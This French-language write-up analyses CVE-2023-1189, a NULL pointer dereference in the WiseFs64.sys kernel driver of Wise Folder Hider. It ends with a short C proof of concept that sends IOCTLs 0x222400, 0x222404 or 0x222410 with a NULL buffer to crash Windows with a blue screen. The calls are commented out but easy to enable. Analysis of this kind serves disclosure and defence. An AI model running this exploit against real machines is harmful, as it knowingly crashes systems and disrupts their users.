
CVE-2023-1189 PoC et exploit
| Élément | Détails |
|---|
| CVE ID | CVE-2023-1189 |
| Type de vulnérabilité | Arrêt ou libération incorrecte d'une ressource (CWE-404) |
| Logiciel concerné | WiseCleaner Wise Folder Hider |
| Composant vulnérable | WiseFs64.sys (pilote noyau) |
| Version vulnérable | 4.4.3.202 |
| CVSS | NVD - 5.5 (Moyen), VulDB - 3.3 (Faible) |
| Date de divulgation | 06 mars 2023 |
Cette vulnérabilité est une faille de déni de service local qui permet à un attaquant, avec des privilèges utilisateur, de provoquer un déréférencement de pointeur NULL dans le noyau via un IOCTL spécifique, menant à un écran bleu (BSOD).
La vulnérabilité CVE-2023-1189 se produit dans le pilote noyau WiseFs64.sys créé par le programme d'installation de Wise Folder Hider version 4.4.3.202.
Le flux global de la vulnérabilité est le suivant :

Examinons ce flux en détail :

Tout d'abord, la fonction DriverEntry définit la fonction dispatchDeviceControl à l'index 14 de la table de dispatch. Ainsi, tous les IOCTL entrants via \\.\WiseFs sont redirigés vers dispatchDeviceControl.

Lorsqu'on entre dans la fonction dispatchDeviceControl, elle vérifie d'abord s'il s'agit du périphérique de contrôle ; si c'est le cas, elle entre dans la fonction handleControlDeviceIoctl.

La fonction handleControlDeviceIoctl contient la logique de traitement des codes IOCTL réels. Parmi les différents codes IOCTL, les codes 0x222400, 0x222404 et 0x222410 ne comportent pas de vérification de la valeur NULL du tampon (buffer). Par conséquent, si l'on appelle ces IOCTL alors que le tampon est NULL, le pilote accède au tampon, provoquant un déréférencement de pointeur NULL et un écran bleu (BSOD).
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}